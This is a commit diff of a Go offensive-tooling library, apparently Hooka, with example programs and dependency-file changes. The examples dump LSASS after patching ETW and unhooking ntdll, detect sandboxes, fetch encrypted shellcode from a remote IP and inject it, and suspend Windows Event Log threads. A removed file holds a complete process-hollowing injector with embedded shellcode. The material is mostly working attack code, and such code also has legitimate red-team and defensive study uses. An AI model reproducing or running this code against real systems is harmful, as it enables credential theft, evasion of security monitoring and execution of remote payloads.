GetCurrentProcess, _, err := hooka.GetFuncPtr(hash, "C:\\Windows\\System32\\kernel32.dll", Sha1)
if err != nil {
log.Fatal(err)
}
fmt.Printf("%s - %x\n", str, sysid)
pHandle, _, _ := GetCurrentProcess.Call()
fmt.Println("[+] Current process:", pHandle)
}
+28
View File
@@ -0,0 +1,28 @@
package main
import (
"fmt"
"github.com/D3Ext/Hooka/pkg/hooka"
"log"
"time"
)
func main() {
fmt.Println("[*] Enabling BlockDLLs on current process...")
err := hooka.BlockDLLs()
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Now non-Microsoft signed DLLs can't inject into this process")
fmt.Println("[*] Creating a notepad.exe process with BlockDLLs enabled...")
err = hooka.CreateProcessBlockDLLs("C:\\Windows\\System32\\notepad.exe")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Process created successfully")
time.Sleep(1000 * time.Second)
// Do some other stuff
}
+38
View File
@@ -0,0 +1,38 @@
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
// this is an example of a program to dump the LSASS.EXE process using evasion techniques
func main(){
fmt.Println("[*] Sleeping")
hooka.Sleep()
fmt.Println("[*] Patching ETW")
err := hooka.PatchEtw()
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Unhooking ntdll.dll")
err = hooka.PerunsUnhook()
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Sleeping")
hooka.Sleep()
fmt.Println("[*] Dumping lsass.exe process")
err = hooka.DumpLsass("dump.tmpº")
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Success!")
}
+2
View File
@@ -15,4 +15,6 @@ func main() {
fmt.Println("ACG Guard enabled!")
time.Sleep(1000 * time.Second)
// Do some other stuff
}
+4 -4
View File
@@ -23,25 +23,25 @@ func StrToSha1(str string) string {
func main() {
// 04262a7943514ab931287729e862ca663d81f515 --> StrToSha1("NtAllocateVirtualMemory")
NtAllocateVirtualMemory, _, err := hooka.HalosFuncFromHash("04262a7943514ab931287729e862ca663d81f515", StrToSha1)
NtAllocateVirtualMemory, _, err := hooka.GetSysIdHashHalos("04262a7943514ab931287729e862ca663d81f515", StrToSha1)
if err != nil {
log.Fatal(err)
}
// 6caed95840c323932b680d07df0a1bce28a89d1c --> StrToSha1("NtWriteVirtualMemory")
NtWriteVirtualMemory, _, err := hooka.HalosFuncFromHash("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1)
NtWriteVirtualMemory, _, err := hooka.GetSysIdHashHalos("6caed95840c323932b680d07df0a1bce28a89d1c", StrToSha1)
if err != nil {
log.Fatal(err)
}
// 059637f5757d91ad1bc91215f73ab6037db6fe59 --> StrToSha1("NtProtectVirtualMemory")
NtProtectVirtualMemory, _, err := hooka.HalosFuncFromHash("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1)
NtProtectVirtualMemory, _, err := hooka.GetSysIdHashHalos("059637f5757d91ad1bc91215f73ab6037db6fe59", StrToSha1)
if err != nil {
log.Fatal(err)
}
// 91958a615f982790029f18c9cdb6d7f7e02d396f --> StrToSha1("NtCreateThreadEx")
NtCreateThreadEx, _, err := hooka.HalosFuncFromHash("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1)
NtCreateThreadEx, _, err := hooka.GetSysIdHashHalos("91958a615f982790029f18c9cdb6d7f7e02d396f", StrToSha1)
if err != nil {
log.Fatal(err)
}
-231
View File
@@ -1,231 +0,0 @@
package main
import (
"encoding/binary"
"fmt"
"golang.org/x/sys/windows"
"log"
"syscall"
"unsafe"
)
type IMAGE_DOS_HEADER struct { // DOS .EXE header
/*E_magic uint16 // Magic number
E_cblp uint16 // Bytes on last page of file
E_cp uint16 // Pages in file
E_crlc uint16 // Relocations
E_cparhdr uint16 // Size of header in paragraphs
E_minalloc uint16 // Minimum extra paragraphs needed
E_maxalloc uint16 // Maximum extra paragraphs needed
E_ss uint16 // Initial (relative) SS value
E_sp uint16 // Initial SP value
E_csum uint16 // Checksum
E_ip uint16 // Initial IP value
E_cs uint16 // Initial (relative) CS value
E_lfarlc uint16 // File address of relocation table
E_ovno uint16 // Overlay number
E_res [4]uint16 // Reserved words
E_oemid uint16 // OEM identifier (for E_oeminfo)
E_oeminfo uint16 // OEM information; E_oemid specific
E_res2 [10]uint16 // Reserved words*/
E_lfanew uint32 // File address of new exe header
}
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
var calc_shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main() {
// Load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// Declare functions that will be used
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
var info int32
var returnLength int32
var pbi windows.PROCESS_BASIC_INFORMATION
var si windows.StartupInfo
var pi windows.ProcessInformation
/*
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*/
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
/*
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
*/
fmt.Println("[*] Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
var imageBase uintptr = 0
/*
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
*/
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte, 4096)
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
// Parse DOS header e_lfanew entry to calculate entry point address
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
/*
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
*/
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // write shellcode to entry point
uintptr(unsafe.Pointer(&calc_shellcode[0])),
uintptr(len(calc_shellcode)),
0,
)
/*
DWORD ResumeThread(
[in] HANDLE hThread
);
*/
fmt.Println("[*] Calling ResumeThread...") // finally resume thread
ResumeThread.Call(uintptr(pi.Thread))
// shellcode should have been executed at this point
fmt.Println("[+] Shellcode executed!")
}
+22
View File
@@ -0,0 +1,22 @@
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
check, err := hooka.AutoCheck()
if err != nil {
log.Fatal(err)
}
if (check == true) {
fmt.Println("Probably a sandbox")
return
}
fmt.Println("Not a sandbox")
}
+8 -6
View File
@@ -16,6 +16,7 @@ func main() {
}
fmt.Println("[*] Retrieving encrypted shellcode...")
// retrieve encrypted shellcode from remote url
enc_shellcode, err := hooka.GetShellcodeFromUrl("http://192.168.116.128/shellcode.enc")
if err != nil {
@@ -30,12 +31,6 @@ func main() {
}
fmt.Println(shellcode)
fmt.Println("[*] Injecting shellcode...")
err = hooka.CreateRemoteThreadHalos(shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Enabling ACG...")
// enable ACG (useful if process doesn't exits after this)
err = hooka.EnableACG()
@@ -43,4 +38,11 @@ func main() {
log.Fatal(err)
}
fmt.Println("[*] Injecting shellcode...")
err = hooka.NtCreateThreadExHalos(shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Success!")
}
@@ -14,10 +14,11 @@ func main() {
}
fmt.Println("[+] Event Log PID:", eventlog_pid)
fmt.Println("[*] Killing Event Log threads...")
fmt.Println("[*] Suspending EventLog threads...")
err = hooka.Phant0m(eventlog_pid)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Success!")
}
+2 -7
View File
@@ -4,23 +4,18 @@ go 1.19
require (
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c
github.com/D3Ext/maldev v0.1.4
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4
github.com/google/uuid v1.3.1
golang.org/x/sys v0.12.0
golang.org/x/sys v0.15.0
)
require (
github.com/alwindoss/morse v1.0.1 // indirect
github.com/briandowns/spinner v1.23.0 // indirect
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 // indirect
github.com/ecies/go/v2 v2.0.4 // indirect
github.com/ethereum/go-ethereum v1.10.17 // indirect
github.com/fatih/color v1.15.0 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.18 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
golang.org/x/crypto v0.4.0 // indirect
golang.org/x/term v0.8.0 // indirect
)
+10 -17
View File
@@ -21,8 +21,11 @@ dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7
github.com/Azure/azure-sdk-for-go/sdk/azcore v0.21.1/go.mod h1:fBF9PQNqB8scdgpZ3ufzaLntG0AG7C1WjPMsiFOmfHM=
github.com/Azure/azure-sdk-for-go/sdk/internal v0.8.3/go.mod h1:KLF4gFr6DcKFZwSuH8w8yEK6DpFl3LP5rhdvAb7Yz5I=
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.3.0/go.mod h1:tPaiy8S5bQ+S5sOiDlINkp7+Ef339+Nz5L5XO+cnOHo=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk=
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/D3Ext/maldev v0.1.4 h1:uQSxX5XKp//HTCmO8SStOO1P9Ia1MiIvWjohWlOLIvE=
@@ -32,6 +35,7 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE
github.com/StackExchange/wmi v0.0.0-20180116203802-5d049714c4a6/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg=
github.com/VictoriaMetrics/fastcache v1.6.0/go.mod h1:0qHz5QP0GMX4pfmMA/zt5RgfNuXJrTP0zS7DqpHGGTw=
github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw=
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156/go.mod h1:Cb/ax3seSYIx7SuZdm2G2xzfwmv3TPSk2ucNfQESPXM=
@@ -54,8 +58,6 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bmizerany/pat v0.0.0-20170815010413-6226ea591a40/go.mod h1:8rLXio+WjiTceGBHIoTvn60HIbs7Hm7bcHjyrSqYB9c=
github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=
github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A=
github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE=
github.com/btcsuite/btcd/btcec/v2 v2.1.2/go.mod h1:ctjw4H1kknNJmRN4iP1R7bTQ+v3GJkZBd6mui8ZsAZE=
github.com/btcsuite/btcd/chaincfg/chainhash v1.0.0/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc=
github.com/c-bata/go-prompt v0.2.2/go.mod h1:VzqtzE2ksDBcdln8G7mk2RX9QyGjH+OVqOCSiVIqS34=
@@ -68,8 +70,6 @@ github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5P
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cloudflare/cloudflare-go v0.14.0/go.mod h1:EnwdgGMaFOruiPZRFSgn+TsQ3hQ7C/YWzIGLeu5c304=
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
github.com/consensys/bavard v0.1.8-0.20210406032232-f3452dc9b572/go.mod h1:Bpd0/3mZuaj6Sj+PqrmIquiOKy397AKGThQPaGzNXAQ=
github.com/consensys/gnark-crypto v0.4.1-0.20210426202927-39ac3d4b3f1f/go.mod h1:815PAHg3wvysy0SyIqanF8gZ0Y1wjk/hrDHD/iT88+Q=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
@@ -77,6 +77,7 @@ github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ3
github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4=
github.com/dave/jennifer v1.2.0/go.mod h1:fIb+770HOpJ2fmN9EPPKOqm1vMGhB+TwXKMZhrIygKg=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/deckarep/golang-set v1.8.0/go.mod h1:5nI87KwE7wgsBU1F4GKAw2Qod7p5kyS383rP6+o6qqo=
github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc=
@@ -102,8 +103,6 @@ github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7
github.com/ethereum/go-ethereum v1.10.17 h1:XEcumY+qSr1cZQaWsQs5Kck3FHB0V2RiMHPdTBJ+oT8=
github.com/ethereum/go-ethereum v1.10.17/go.mod h1:Lt5WzjM07XlXc95YzrhosmR4J9Ahd6X2wyEV2SvGhk0=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0=
github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
@@ -236,15 +235,10 @@ github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaO
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98=
github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.11.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
@@ -281,6 +275,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/term v0.0.0-20180730021639-bffc007b7fd5/go.mod h1:eCbImbZ95eXtAUIbLAuAVnBnwf83mjf6QIVH8SHYwqQ=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
@@ -319,6 +314,7 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc=
github.com/tinylib/msgp v1.0.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
@@ -456,14 +452,10 @@ golang.org/x/sys v0.0.0-20210420205809-ac73e9fd8988/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
@@ -568,6 +560,7 @@ gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
-656
View File
@@ -1,656 +0,0 @@
package main
import (
"encoding/base64"
"encoding/hex"
"flag"
"os"
"strings"
"time"
"github.com/D3Ext/Hooka/pkg/hooka"
